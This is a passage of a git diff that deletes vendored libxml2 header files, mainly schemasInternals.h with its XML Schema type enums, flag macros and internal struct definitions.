(xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePushCData (xmlRelaxNGValidCtxtPtr ctxt, - const xmlChar *data, - int len); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidatePopElement (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); -XMLPUBFUN int XMLCALL - xmlRelaxNGValidateFullElement (xmlRelaxNGValidCtxtPtr ctxt, - xmlDocPtr doc, - xmlNodePtr elem); - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_SCHEMAS_ENABLED */ - -#endif /* __XML_RELAX_NG__ */ diff --git a/installer/libxml2/include/libxml/schemasInternals.h b/installer/libxml2/include/libxml/schemasInternals.h deleted file mode 100644 index c7cf552..0000000 --- a/installer/libxml2/include/libxml/schemasInternals.h +++ /dev/null @@ -1,958 +0,0 @@ -/* - * Summary: internal interfaces for XML Schemas - * Description: internal interfaces for the XML Schemas handling - * and schema validity checking - * The Schemas development is a Work In Progress. - * Some of those interfaces are not garanteed to be API or ABI stable ! - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - - -#ifndef __XML_SCHEMA_INTERNALS_H__ -#define __XML_SCHEMA_INTERNALS_H__ - -#include - -#ifdef LIBXML_SCHEMAS_ENABLED - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - XML_SCHEMAS_UNKNOWN = 0, - XML_SCHEMAS_STRING = 1, - XML_SCHEMAS_NORMSTRING = 2, - XML_SCHEMAS_DECIMAL = 3, - XML_SCHEMAS_TIME = 4, - XML_SCHEMAS_GDAY = 5, - XML_SCHEMAS_GMONTH = 6, - XML_SCHEMAS_GMONTHDAY = 7, - XML_SCHEMAS_GYEAR = 8, - XML_SCHEMAS_GYEARMONTH = 9, - XML_SCHEMAS_DATE = 10, - XML_SCHEMAS_DATETIME = 11, - XML_SCHEMAS_DURATION = 12, - XML_SCHEMAS_FLOAT = 13, - XML_SCHEMAS_DOUBLE = 14, - XML_SCHEMAS_BOOLEAN = 15, - XML_SCHEMAS_TOKEN = 16, - XML_SCHEMAS_LANGUAGE = 17, - XML_SCHEMAS_NMTOKEN = 18, - XML_SCHEMAS_NMTOKENS = 19, - XML_SCHEMAS_NAME = 20, - XML_SCHEMAS_QNAME = 21, - XML_SCHEMAS_NCNAME = 22, - XML_SCHEMAS_ID = 23, - XML_SCHEMAS_IDREF = 24, - XML_SCHEMAS_IDREFS = 25, - XML_SCHEMAS_ENTITY = 26, - XML_SCHEMAS_ENTITIES = 27, - XML_SCHEMAS_NOTATION = 28, - XML_SCHEMAS_ANYURI = 29, - XML_SCHEMAS_INTEGER = 30, - XML_SCHEMAS_NPINTEGER = 31, - XML_SCHEMAS_NINTEGER = 32, - XML_SCHEMAS_NNINTEGER = 33, - XML_SCHEMAS_PINTEGER = 34, - XML_SCHEMAS_INT = 35, - XML_SCHEMAS_UINT = 36, - XML_SCHEMAS_LONG = 37, - XML_SCHEMAS_ULONG = 38, - XML_SCHEMAS_SHORT = 39, - XML_SCHEMAS_USHORT = 40, - XML_SCHEMAS_BYTE = 41, - XML_SCHEMAS_UBYTE = 42, - XML_SCHEMAS_HEXBINARY = 43, - XML_SCHEMAS_BASE64BINARY = 44, - XML_SCHEMAS_ANYTYPE = 45, - XML_SCHEMAS_ANYSIMPLETYPE = 46 -} xmlSchemaValType; - -/* - * XML Schemas defines multiple type of types. - */ -typedef enum { - XML_SCHEMA_TYPE_BASIC = 1, /* A built-in datatype */ - XML_SCHEMA_TYPE_ANY, - XML_SCHEMA_TYPE_FACET, - XML_SCHEMA_TYPE_SIMPLE, - XML_SCHEMA_TYPE_COMPLEX, - XML_SCHEMA_TYPE_SEQUENCE = 6, - XML_SCHEMA_TYPE_CHOICE, - XML_SCHEMA_TYPE_ALL, - XML_SCHEMA_TYPE_SIMPLE_CONTENT, - XML_SCHEMA_TYPE_COMPLEX_CONTENT, - XML_SCHEMA_TYPE_UR, - XML_SCHEMA_TYPE_RESTRICTION, - XML_SCHEMA_TYPE_EXTENSION, - XML_SCHEMA_TYPE_ELEMENT, - XML_SCHEMA_TYPE_ATTRIBUTE, - XML_SCHEMA_TYPE_ATTRIBUTEGROUP, - XML_SCHEMA_TYPE_GROUP, - XML_SCHEMA_TYPE_NOTATION, - XML_SCHEMA_TYPE_LIST, - XML_SCHEMA_TYPE_UNION, - XML_SCHEMA_TYPE_ANY_ATTRIBUTE, - XML_SCHEMA_TYPE_IDC_UNIQUE, - XML_SCHEMA_TYPE_IDC_KEY, - XML_SCHEMA_TYPE_IDC_KEYREF, - XML_SCHEMA_TYPE_PARTICLE = 25, - XML_SCHEMA_TYPE_ATTRIBUTE_USE, - XML_SCHEMA_FACET_MININCLUSIVE = 1000, - XML_SCHEMA_FACET_MINEXCLUSIVE, - XML_SCHEMA_FACET_MAXINCLUSIVE, - XML_SCHEMA_FACET_MAXEXCLUSIVE, - XML_SCHEMA_FACET_TOTALDIGITS, - XML_SCHEMA_FACET_FRACTIONDIGITS, - XML_SCHEMA_FACET_PATTERN, - XML_SCHEMA_FACET_ENUMERATION, - XML_SCHEMA_FACET_WHITESPACE, - XML_SCHEMA_FACET_LENGTH, - XML_SCHEMA_FACET_MAXLENGTH, - XML_SCHEMA_FACET_MINLENGTH, - XML_SCHEMA_EXTRA_QNAMEREF = 2000, - XML_SCHEMA_EXTRA_ATTR_USE_PROHIB -} xmlSchemaTypeType; - -typedef enum { - XML_SCHEMA_CONTENT_UNKNOWN = 0, - XML_SCHEMA_CONTENT_EMPTY = 1, - XML_SCHEMA_CONTENT_ELEMENTS, - XML_SCHEMA_CONTENT_MIXED, - XML_SCHEMA_CONTENT_SIMPLE, - XML_SCHEMA_CONTENT_MIXED_OR_ELEMENTS, /* Obsolete */ - XML_SCHEMA_CONTENT_BASIC, - XML_SCHEMA_CONTENT_ANY -} xmlSchemaContentType; - -typedef struct _xmlSchemaVal xmlSchemaVal; -typedef xmlSchemaVal *xmlSchemaValPtr; - -typedef struct _xmlSchemaType xmlSchemaType; -typedef xmlSchemaType *xmlSchemaTypePtr; - -typedef struct _xmlSchemaFacet xmlSchemaFacet; -typedef xmlSchemaFacet *xmlSchemaFacetPtr; - -/** - * Annotation - */ -typedef struct _xmlSchemaAnnot xmlSchemaAnnot; -typedef xmlSchemaAnnot *xmlSchemaAnnotPtr; -struct _xmlSchemaAnnot { - struct _xmlSchemaAnnot *next; - xmlNodePtr content; /* the annotation */ -}; - -/** - * XML_SCHEMAS_ANYATTR_SKIP: - * - * Skip unknown attribute from validation - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_SKIP 1 -/** - * XML_SCHEMAS_ANYATTR_LAX: - * - * Ignore validation non definition on attributes - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_LAX 2 -/** - * XML_SCHEMAS_ANYATTR_STRICT: - * - * Apply strict validation rules on attributes - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ANYATTR_STRICT 3 -/** - * XML_SCHEMAS_ANY_SKIP: - * - * Skip unknown attribute from validation - */ -#define XML_SCHEMAS_ANY_SKIP 1 -/** - * XML_SCHEMAS_ANY_LAX: - * - * Used by wildcards. - * Validate if type found, don't worry if not found - */ -#define XML_SCHEMAS_ANY_LAX 2 -/** - * XML_SCHEMAS_ANY_STRICT: - * - * Used by wildcards. - * Apply strict validation rules - */ -#define XML_SCHEMAS_ANY_STRICT 3 -/** - * XML_SCHEMAS_ATTR_USE_PROHIBITED: - * - * Used by wildcards. - * The attribute is prohibited. - */ -#define XML_SCHEMAS_ATTR_USE_PROHIBITED 0 -/** - * XML_SCHEMAS_ATTR_USE_REQUIRED: - * - * The attribute is required. - */ -#define XML_SCHEMAS_ATTR_USE_REQUIRED 1 -/** - * XML_SCHEMAS_ATTR_USE_OPTIONAL: - * - * The attribute is optional. - */ -#define XML_SCHEMAS_ATTR_USE_OPTIONAL 2 -/** - * XML_SCHEMAS_ATTR_GLOBAL: - * - * allow elements in no namespace - */ -#define XML_SCHEMAS_ATTR_GLOBAL 1 << 0 -/** - * XML_SCHEMAS_ATTR_NSDEFAULT: - * - * allow elements in no namespace - */ -#define XML_SCHEMAS_ATTR_NSDEFAULT 1 << 7 -/** - * XML_SCHEMAS_ATTR_INTERNAL_RESOLVED: - * - * this is set when the "type" and "ref" references - * have been resolved. - */ -#define XML_SCHEMAS_ATTR_INTERNAL_RESOLVED 1 << 8 -/** - * XML_SCHEMAS_ATTR_FIXED: - * - * the attribute has a fixed value - */ -#define XML_SCHEMAS_ATTR_FIXED 1 << 9 - -/** - * xmlSchemaAttribute: - * An attribute definition. - */ - -typedef struct _xmlSchemaAttribute xmlSchemaAttribute; -typedef xmlSchemaAttribute *xmlSchemaAttributePtr; -struct _xmlSchemaAttribute { - xmlSchemaTypeType type; - struct _xmlSchemaAttribute *next; /* the next attribute (not used?) */ - const xmlChar *name; /* the name of the declaration */ - const xmlChar *id; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - const xmlChar *typeName; /* the local name of the type definition */ - const xmlChar *typeNs; /* the ns URI of the type definition */ - xmlSchemaAnnotPtr annot; - - xmlSchemaTypePtr base; /* Deprecated; not used */ - int occurs; /* Deprecated; not used */ - const xmlChar *defValue; /* The initial value of the value constraint */ - xmlSchemaTypePtr subtypes; /* the type definition */ - xmlNodePtr node; - const xmlChar *targetNamespace; - int flags; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaValPtr defVal; /* The compiled value constraint */ - xmlSchemaAttributePtr refDecl; /* Deprecated; not used */ -}; - -/** - * xmlSchemaAttributeLink: - * Used to build a list of attribute uses on complexType definitions. - * WARNING: Deprecated; not used. - */ -typedef struct _xmlSchemaAttributeLink xmlSchemaAttributeLink; -typedef xmlSchemaAttributeLink *xmlSchemaAttributeLinkPtr; -struct _xmlSchemaAttributeLink { - struct _xmlSchemaAttributeLink *next;/* the next attribute link ... */ - struct _xmlSchemaAttribute *attr;/* the linked attribute */ -}; - -/** - * XML_SCHEMAS_WILDCARD_COMPLETE: - * - * If the wildcard is complete. - */ -#define XML_SCHEMAS_WILDCARD_COMPLETE 1 << 0 - -/** - * xmlSchemaCharValueLink: - * Used to build a list of namespaces on wildcards. - */ -typedef struct _xmlSchemaWildcardNs xmlSchemaWildcardNs; -typedef xmlSchemaWildcardNs *xmlSchemaWildcardNsPtr; -struct _xmlSchemaWildcardNs { - struct _xmlSchemaWildcardNs *next;/* the next constraint link ... */ - const xmlChar *value;/* the value */ -}; - -/** - * xmlSchemaWildcard. - * A wildcard. - */ -typedef struct _xmlSchemaWildcard xmlSchemaWildcard; -typedef xmlSchemaWildcard *xmlSchemaWildcardPtr; -struct _xmlSchemaWildcard { - xmlSchemaTypeType type; /* The kind of type */ - const xmlChar *id; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - int processContents; - int any; /* Indicates if the ns constraint is of ##any */ - xmlSchemaWildcardNsPtr nsSet; /* The list of allowed namespaces */ - xmlSchemaWildcardNsPtr negNsSet; /* The negated namespace */ - int flags; -}; - -/** - * XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED: - * - * The attribute wildcard has been already builded. - */ -#define XML_SCHEMAS_ATTRGROUP_WILDCARD_BUILDED 1 << 0 -/** - * XML_SCHEMAS_ATTRGROUP_GLOBAL: - * - * The attribute wildcard has been already builded. - */ -#define XML_SCHEMAS_ATTRGROUP_GLOBAL 1 << 1 -/** - * XML_SCHEMAS_ATTRGROUP_MARKED: - * - * Marks the attr group as marked; used for circular checks. - */ -#define XML_SCHEMAS_ATTRGROUP_MARKED 1 << 2 - -/** - * XML_SCHEMAS_ATTRGROUP_REDEFINED: - * - * The attr group was redefined. - */ -#define XML_SCHEMAS_ATTRGROUP_REDEFINED 1 << 3 -/** - * XML_SCHEMAS_ATTRGROUP_HAS_REFS: - * - * Whether this attr. group contains attr. group references. - */ -#define XML_SCHEMAS_ATTRGROUP_HAS_REFS 1 << 4 - -/** - * An attribute group definition. - * - * xmlSchemaAttribute and xmlSchemaAttributeGroup start of structures - * must be kept similar - */ -typedef struct _xmlSchemaAttributeGroup xmlSchemaAttributeGroup; -typedef xmlSchemaAttributeGroup *xmlSchemaAttributeGroupPtr; -struct _xmlSchemaAttributeGroup { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaAttribute *next;/* the next attribute if in a group ... */ - const xmlChar *name; - const xmlChar *id; - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - - xmlSchemaAttributePtr attributes; /* Deprecated; not used */ - xmlNodePtr node; - int flags; - xmlSchemaWildcardPtr attributeWildcard; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaAttributeGroupPtr refItem; /* Deprecated; not used */ - const xmlChar *targetNamespace; - void *attrUses; -}; - -/** - * xmlSchemaTypeLink: - * Used to build a list of types (e.g. member types of - * simpleType with variety "union"). - */ -typedef struct _xmlSchemaTypeLink xmlSchemaTypeLink; -typedef xmlSchemaTypeLink *xmlSchemaTypeLinkPtr; -struct _xmlSchemaTypeLink { - struct _xmlSchemaTypeLink *next;/* the next type link ... */ - xmlSchemaTypePtr type;/* the linked type */ -}; - -/** - * xmlSchemaFacetLink: - * Used to build a list of facets. - */ -typedef struct _xmlSchemaFacetLink xmlSchemaFacetLink; -typedef xmlSchemaFacetLink *xmlSchemaFacetLinkPtr; -struct _xmlSchemaFacetLink { - struct _xmlSchemaFacetLink *next;/* the next facet link ... */ - xmlSchemaFacetPtr facet;/* the linked facet */ -}; - -/** - * XML_SCHEMAS_TYPE_MIXED: - * - * the element content type is mixed - */ -#define XML_SCHEMAS_TYPE_MIXED 1 << 0 -/** - * XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION: - * - * the simple or complex type has a derivation method of "extension". - */ -#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_EXTENSION 1 << 1 -/** - * XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION: - * - * the simple or complex type has a derivation method of "restriction". - */ -#define XML_SCHEMAS_TYPE_DERIVATION_METHOD_RESTRICTION 1 << 2 -/** - * XML_SCHEMAS_TYPE_GLOBAL: - * - * the type is global - */ -#define XML_SCHEMAS_TYPE_GLOBAL 1 << 3 -/** - * XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD: - * - * the complexType owns an attribute wildcard, i.e. - * it can be freed by the complexType - */ -#define XML_SCHEMAS_TYPE_OWNED_ATTR_WILDCARD 1 << 4 /* Obsolete. */ -/** - * XML_SCHEMAS_TYPE_VARIETY_ABSENT: - * - * the simpleType has a variety of "absent". - * TODO: Actually not necessary :-/, since if - * none of the variety flags occur then it's - * automatically absent. - */ -#define XML_SCHEMAS_TYPE_VARIETY_ABSENT 1 << 5 -/** - * XML_SCHEMAS_TYPE_VARIETY_LIST: - * - * the simpleType has a variety of "list". - */ -#define XML_SCHEMAS_TYPE_VARIETY_LIST 1 << 6 -/** - * XML_SCHEMAS_TYPE_VARIETY_UNION: - * - * the simpleType has a variety of "union". - */ -#define XML_SCHEMAS_TYPE_VARIETY_UNION 1 << 7 -/** - * XML_SCHEMAS_TYPE_VARIETY_ATOMIC: - * - * the simpleType has a variety of "union". - */ -#define XML_SCHEMAS_TYPE_VARIETY_ATOMIC 1 << 8 -/** - * XML_SCHEMAS_TYPE_FINAL_EXTENSION: - * - * the complexType has a final of "extension". - */ -#define XML_SCHEMAS_TYPE_FINAL_EXTENSION 1 << 9 -/** - * XML_SCHEMAS_TYPE_FINAL_RESTRICTION: - * - * the simpleType/complexType has a final of "restriction". - */ -#define XML_SCHEMAS_TYPE_FINAL_RESTRICTION 1 << 10 -/** - * XML_SCHEMAS_TYPE_FINAL_LIST: - * - * the simpleType has a final of "list". - */ -#define XML_SCHEMAS_TYPE_FINAL_LIST 1 << 11 -/** - * XML_SCHEMAS_TYPE_FINAL_UNION: - * - * the simpleType has a final of "union". - */ -#define XML_SCHEMAS_TYPE_FINAL_UNION 1 << 12 -/** - * XML_SCHEMAS_TYPE_FINAL_DEFAULT: - * - * the simpleType has a final of "default". - */ -#define XML_SCHEMAS_TYPE_FINAL_DEFAULT 1 << 13 -/** - * XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE: - * - * Marks the item as a builtin primitive. - */ -#define XML_SCHEMAS_TYPE_BUILTIN_PRIMITIVE 1 << 14 -/** - * XML_SCHEMAS_TYPE_MARKED: - * - * Marks the item as marked; used for circular checks. - */ -#define XML_SCHEMAS_TYPE_MARKED 1 << 16 -/** - * XML_SCHEMAS_TYPE_BLOCK_DEFAULT: - * - * the complexType did not specify 'block' so use the default of the - * item. - */ -#define XML_SCHEMAS_TYPE_BLOCK_DEFAULT 1 << 17 -/** - * XML_SCHEMAS_TYPE_BLOCK_EXTENSION: - * - * the complexType has a 'block' of "extension". - */ -#define XML_SCHEMAS_TYPE_BLOCK_EXTENSION 1 << 18 -/** - * XML_SCHEMAS_TYPE_BLOCK_RESTRICTION: - * - * the complexType has a 'block' of "restriction". - */ -#define XML_SCHEMAS_TYPE_BLOCK_RESTRICTION 1 << 19 -/** - * XML_SCHEMAS_TYPE_ABSTRACT: - * - * the simple/complexType is abstract. - */ -#define XML_SCHEMAS_TYPE_ABSTRACT 1 << 20 -/** - * XML_SCHEMAS_TYPE_FACETSNEEDVALUE: - * - * indicates if the facets need a computed value - */ -#define XML_SCHEMAS_TYPE_FACETSNEEDVALUE 1 << 21 -/** - * XML_SCHEMAS_TYPE_INTERNAL_RESOLVED: - * - * indicates that the type was typefixed - */ -#define XML_SCHEMAS_TYPE_INTERNAL_RESOLVED 1 << 22 -/** - * XML_SCHEMAS_TYPE_INTERNAL_INVALID: - * - * indicates that the type is invalid - */ -#define XML_SCHEMAS_TYPE_INTERNAL_INVALID 1 << 23 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE: - * - * a whitespace-facet value of "preserve" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_PRESERVE 1 << 24 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_REPLACE: - * - * a whitespace-facet value of "replace" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_REPLACE 1 << 25 -/** - * XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE: - * - * a whitespace-facet value of "collapse" - */ -#define XML_SCHEMAS_TYPE_WHITESPACE_COLLAPSE 1 << 26 -/** - * XML_SCHEMAS_TYPE_HAS_FACETS: - * - * has facets - */ -#define XML_SCHEMAS_TYPE_HAS_FACETS 1 << 27 -/** - * XML_SCHEMAS_TYPE_NORMVALUENEEDED: - * - * indicates if the facets (pattern) need a normalized value - */ -#define XML_SCHEMAS_TYPE_NORMVALUENEEDED 1 << 28 - -/** - * XML_SCHEMAS_TYPE_FIXUP_1: - * - * First stage of fixup was done. - */ -#define XML_SCHEMAS_TYPE_FIXUP_1 1 << 29 - -/** - * XML_SCHEMAS_TYPE_REDEFINED: - * - * The type was redefined. - */ -#define XML_SCHEMAS_TYPE_REDEFINED 1 << 30 -/** - * XML_SCHEMAS_TYPE_REDEFINING: - * - * The type redefines an other type. - */ -/* #define XML_SCHEMAS_TYPE_REDEFINING 1 << 31 */ - -/** - * _xmlSchemaType: - * - * Schemas type definition. - */ -struct _xmlSchemaType { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaType *next; /* the next type if in a sequence ... */ - const xmlChar *name; - const xmlChar *id ; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlSchemaTypePtr subtypes; - xmlSchemaAttributePtr attributes; /* Deprecated; not used */ - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - - int flags; - xmlSchemaContentType contentType; - const xmlChar *base; /* Base type's local name */ - const xmlChar *baseNs; /* Base type's target namespace */ - xmlSchemaTypePtr baseType; /* The base type component */ - xmlSchemaFacetPtr facets; /* Local facets */ - struct _xmlSchemaType *redef; /* Deprecated; not used */ - int recurse; /* Obsolete */ - xmlSchemaAttributeLinkPtr *attributeUses; /* Deprecated; not used */ - xmlSchemaWildcardPtr attributeWildcard; - int builtInType; /* Type of built-in types. */ - xmlSchemaTypeLinkPtr memberTypes; /* member-types if a union type. */ - xmlSchemaFacetLinkPtr facetSet; /* All facets (incl. inherited) */ - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaTypePtr contentTypeDef; /* Used for the simple content of complex types. - Could we use @subtypes for this? */ - xmlRegexpPtr contModel; /* Holds the automaton of the content model */ - const xmlChar *targetNamespace; - void *attrUses; -}; - -/* - * xmlSchemaElement: - * An element definition. - * - * xmlSchemaType, xmlSchemaFacet and xmlSchemaElement start of - * structures must be kept similar - */ -/** - * XML_SCHEMAS_ELEM_NILLABLE: - * - * the element is nillable - */ -#define XML_SCHEMAS_ELEM_NILLABLE 1 << 0 -/** - * XML_SCHEMAS_ELEM_GLOBAL: - * - * the element is global - */ -#define XML_SCHEMAS_ELEM_GLOBAL 1 << 1 -/** - * XML_SCHEMAS_ELEM_DEFAULT: - * - * the element has a default value - */ -#define XML_SCHEMAS_ELEM_DEFAULT 1 << 2 -/** - * XML_SCHEMAS_ELEM_FIXED: - * - * the element has a fixed value - */ -#define XML_SCHEMAS_ELEM_FIXED 1 << 3 -/** - * XML_SCHEMAS_ELEM_ABSTRACT: - * - * the element is abstract - */ -#define XML_SCHEMAS_ELEM_ABSTRACT 1 << 4 -/** - * XML_SCHEMAS_ELEM_TOPLEVEL: - * - * the element is top level - * obsolete: use XML_SCHEMAS_ELEM_GLOBAL instead - */ -#define XML_SCHEMAS_ELEM_TOPLEVEL 1 << 5 -/** - * XML_SCHEMAS_ELEM_REF: - * - * the element is a reference to a type - */ -#define XML_SCHEMAS_ELEM_REF 1 << 6 -/** - * XML_SCHEMAS_ELEM_NSDEFAULT: - * - * allow elements in no namespace - * Obsolete, not used anymore. - */ -#define XML_SCHEMAS_ELEM_NSDEFAULT 1 << 7 -/** - * XML_SCHEMAS_ELEM_INTERNAL_RESOLVED: - * - * this is set when "type", "ref", "substitutionGroup" - * references have been resolved. - */ -#define XML_SCHEMAS_ELEM_INTERNAL_RESOLVED 1 << 8 - /** - * XML_SCHEMAS_ELEM_CIRCULAR: - * - * a helper flag for the search of circular references. - */ -#define XML_SCHEMAS_ELEM_CIRCULAR 1 << 9 -/** - * XML_SCHEMAS_ELEM_BLOCK_ABSENT: - * - * the "block" attribute is absent - */ -#define XML_SCHEMAS_ELEM_BLOCK_ABSENT 1 << 10 -/** - * XML_SCHEMAS_ELEM_BLOCK_EXTENSION: - * - * disallowed substitutions are absent - */ -#define XML_SCHEMAS_ELEM_BLOCK_EXTENSION 1 << 11 -/** - * XML_SCHEMAS_ELEM_BLOCK_RESTRICTION: - * - * disallowed substitutions: "restriction" - */ -#define XML_SCHEMAS_ELEM_BLOCK_RESTRICTION 1 << 12 -/** - * XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION: - * - * disallowed substitutions: "substituion" - */ -#define XML_SCHEMAS_ELEM_BLOCK_SUBSTITUTION 1 << 13 -/** - * XML_SCHEMAS_ELEM_FINAL_ABSENT: - * - * substitution group exclusions are absent - */ -#define XML_SCHEMAS_ELEM_FINAL_ABSENT 1 << 14 -/** - * XML_SCHEMAS_ELEM_FINAL_EXTENSION: - * - * substitution group exclusions: "extension" - */ -#define XML_SCHEMAS_ELEM_FINAL_EXTENSION 1 << 15 -/** - * XML_SCHEMAS_ELEM_FINAL_RESTRICTION: - * - * substitution group exclusions: "restriction" - */ -#define XML_SCHEMAS_ELEM_FINAL_RESTRICTION 1 << 16 -/** - * XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD: - * - * the declaration is a substitution group head - */ -#define XML_SCHEMAS_ELEM_SUBST_GROUP_HEAD 1 << 17 -/** - * XML_SCHEMAS_ELEM_INTERNAL_CHECKED: - * - * this is set when the elem decl has been checked against - * all constraints - */ -#define XML_SCHEMAS_ELEM_INTERNAL_CHECKED 1 << 18 - -typedef struct _xmlSchemaElement xmlSchemaElement; -typedef xmlSchemaElement *xmlSchemaElementPtr; -struct _xmlSchemaElement { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaType *next; /* Not used? */ - const xmlChar *name; - const xmlChar *id; /* Deprecated; not used */ - const xmlChar *ref; /* Deprecated; not used */ - const xmlChar *refNs; /* Deprecated; not used */ - xmlSchemaAnnotPtr annot; - xmlSchemaTypePtr subtypes; /* the type definition */ - xmlSchemaAttributePtr attributes; - xmlNodePtr node; - int minOccurs; /* Deprecated; not used */ - int maxOccurs; /* Deprecated; not used */ - - int flags; - const xmlChar *targetNamespace; - const xmlChar *namedType; - const xmlChar *namedTypeNs; - const xmlChar *substGroup; - const xmlChar *substGroupNs; - const xmlChar *scope; - const xmlChar *value; /* The original value of the value constraint. */ - struct _xmlSchemaElement *refDecl; /* This will now be used for the - substitution group affiliation */ - xmlRegexpPtr contModel; /* Obsolete for WXS, maybe used for RelaxNG */ - xmlSchemaContentType contentType; - const xmlChar *refPrefix; /* Deprecated; not used */ - xmlSchemaValPtr defVal; /* The compiled value contraint. */ - void *idcs; /* The identity-constraint defs */ -}; - -/* - * XML_SCHEMAS_FACET_UNKNOWN: - * - * unknown facet handling - */ -#define XML_SCHEMAS_FACET_UNKNOWN 0 -/* - * XML_SCHEMAS_FACET_PRESERVE: - * - * preserve the type of the facet - */ -#define XML_SCHEMAS_FACET_PRESERVE 1 -/* - * XML_SCHEMAS_FACET_REPLACE: - * - * replace the type of the facet - */ -#define XML_SCHEMAS_FACET_REPLACE 2 -/* - * XML_SCHEMAS_FACET_COLLAPSE: - * - * collapse the types of the facet - */ -#define XML_SCHEMAS_FACET_COLLAPSE 3 -/** - * A facet definition. - */ -struct _xmlSchemaFacet { - xmlSchemaTypeType type; /* The kind of type */ - struct _xmlSchemaFacet *next;/* the next type if in a sequence ... */ - const xmlChar *value; /* The original value */ - const xmlChar *id; /* Obsolete */ - xmlSchemaAnnotPtr annot; - xmlNodePtr node; - int fixed; /* XML_SCHEMAS_FACET_PRESERVE, etc. */ - int whitespace; - xmlSchemaValPtr val; /* The compiled value */ - xmlRegexpPtr regexp; /* The regex for patterns */ -}; - -/** - * A notation definition. - */ -typedef struct _xmlSchemaNotation xmlSchemaNotation; -typedef xmlSchemaNotation *xmlSchemaNotationPtr; -struct _xmlSchemaNotation { - xmlSchemaTypeType type; /* The kind of type */ - const xmlChar *name; - xmlSchemaAnnotPtr annot; - const xmlChar *identifier; - const xmlChar *targetNamespace; -}; - -/* -* TODO: Actually all those flags used for the schema should sit -* on the schema parser context, since they are used only -* during parsing an XML schema document, and not available -* on the component level as per spec. -*/ -/** - * XML_SCHEMAS_QUALIF_ELEM: - * - * Reflects elementFormDefault == qualified in - * an XML schema document. - */ -#define XML_SCHEMAS_QUALIF_ELEM 1 << 0 -/** - * XML_SCHEMAS_QUALIF_ATTR: - * - * Reflects attributeFormDefault == qualified in - * an XML schema document. - */ -#define XML_SCHEMAS_QUALIF_ATTR 1 << 1 -/** - * XML_SCHEMAS_FINAL_DEFAULT_EXTENSION: - * - * the schema has "extension" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_EXTENSION 1 << 2 -/** - * XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION: - * - * the schema has "restriction" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_RESTRICTION 1 << 3 -/** - * XML_SCHEMAS_FINAL_DEFAULT_LIST: - * - * the cshema has "list" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_LIST 1 << 4 -/** - * XML_SCHEMAS_FINAL_DEFAULT_UNION: - * - * the schema has "union" in the set of finalDefault. - */ -#define XML_SCHEMAS_FINAL_DEFAULT_UNION 1 << 5 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION: - * - * the schema has "extension" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_EXTENSION 1 << 6 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION: - * - * the schema has "restriction" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_RESTRICTION 1 << 7 -/** - * XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION: - * - * the schema has "substitution" in the set of blockDefault. - */ -#define XML_SCHEMAS_BLOCK_DEFAULT_SUBSTITUTION 1 << 8 -/** - * XML_SCHEMAS_INCLUDING_CONVERT_NS: - * - * the schema is currently including an other schema with - * no target namespace. - */ -#define XML_SCHEMAS_INCLUDING_CONVERT_NS 1 << 9 -/** - * _xmlSchema: - * - * A Schemas definition - */ -struct _xmlSchema { - const xmlChar *name; /* schema name */ - const xmlChar *targetNamespace; /* the target namespace */ - const xmlChar *version; - const xmlChar *id; /* Obsolete */ - xmlDocPtr doc; - xmlSchemaAnnotPtr annot; - int flags; - - xmlHashTablePtr typeDecl; - xmlHashTablePtr attrDecl; - xmlHashTablePtr attrgrpDecl; - xmlHashTablePtr elemDecl; - xmlHashTablePtr notaDecl; - - xmlHashTablePtr schemasImports; - - void *_private; /* unused by the library for users or bindings */ - xmlHashTablePtr groupDecl; - xmlDictPtr dict; - void *includes; /* the includes, this is opaque for now */ - int preserve; /* whether to free the document */ - int counter; /* used to give ononymous components unique names */ - xmlHashTablePtr 